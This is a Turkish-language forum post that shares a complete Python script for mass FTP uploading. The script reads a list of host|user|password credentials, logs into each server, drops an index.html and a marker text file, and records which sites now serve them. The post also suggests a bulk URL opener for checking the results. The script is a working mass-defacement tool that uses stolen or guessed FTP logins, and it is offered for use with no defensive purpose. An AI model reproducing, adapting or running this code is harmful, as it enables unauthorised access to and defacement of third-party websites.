Merhaba Ftp auto uplaoder toolunu size anlatıcam tool sizden bi Ftp listesi ister örnek list.txt ve ondan sonra login testi yapar eğer başarılı olursa içerde put index.html put Dods.txt şeklinde yüklemeye çalışır eğer Transef Complete 226 derse FOUND olarak gösterir olmaz iste FAİLED ve Result.txt içine Örn:site2.com/index.html site2.com/Dods.txt diye kayıt eder bu Open Multipe Url toplu url açmanıza yarar ve tek tek açmak yerince bu daha mantıklı eklenti için Open Multipe Urls Tool bu kadardı Bana ait değil tool düzenleyebilirsiniz
List.txt nin içinde ki her site bu | formatda olmak zorunda
İndirme Linki eklemdim Böylesi Daha Yararlı olur Herkese İyi Forumlar
List.txt nin içinde ki her site bu | formatda olmak zorunda
site2.com|ftpadmin|abc123
Kod:
#!/usr/bin/env python3
# AutoFTP Uploader by zx
import os
from ftplib import FTP, all_errors
from datetime import datetime
GREEN = "\033[1;32m"
RED = "\033[1;31m"
YELLOW = "\033[1;33m"
RESET = "\033[0m"
FILES = ["index.html", "Dods.txt"]
LIST_FILE = "list.txt"
RESULT_FILE = "result.txt"
def put_file(ftp, file_path):
try:
with open(file_path, "rb") as f:
resp = ftp.storbinary(f"STOR {os.path.basename(file_path)}", f)
return resp.startswith("226")
except:
return False
def process_ftp(host, user, passwd):
try:
ftp = FTP()
ftp.connect(host, 21, timeout=10)
ftp.login(user, passwd)
success = True
for file in FILES:
if not os.path.exists(file) or not put_file(ftp, file):
success = False
break
ftp.quit()
return success
except all_errors:
return False
def main():
if not os.path.exists(LIST_FILE):
print(f"{RED}[!] {LIST_FILE} not found{RESET}")
return
for file in FILES:
if not os.path.exists(file):
print(f"{RED}[!] Missing file: {file}{RESET}")
return
with open(LIST_FILE, "r") as f:
lines = [line.strip() for line in f if line.strip()]
for line in lines:
parts = line.split("|")
if len(parts) != 3:
print(f"{RED}[!] Invalid line: {line}{RESET}")
continue
host, user, passwd = parts
now = datetime.now().strftime("%H:%M:%S")
if process_ftp(host, user, passwd):
with open(RESULT_FILE, "a") as r:
r.write(f"http://{host}/index.html\n")
r.write(f"http://{host}/Dods.txt\n")
print(f"[{YELLOW}{now}{RESET}] {host} | {GREEN}FOUND{RESET}")
else:
print(f"[{YELLOW}{now}{RESET}] {host} | {RED}FAILED{RESET}")
if __name__ == "__main__":
main()
İndirme Linki eklemdim Böylesi Daha Yararlı olur Herkese İyi Forumlar

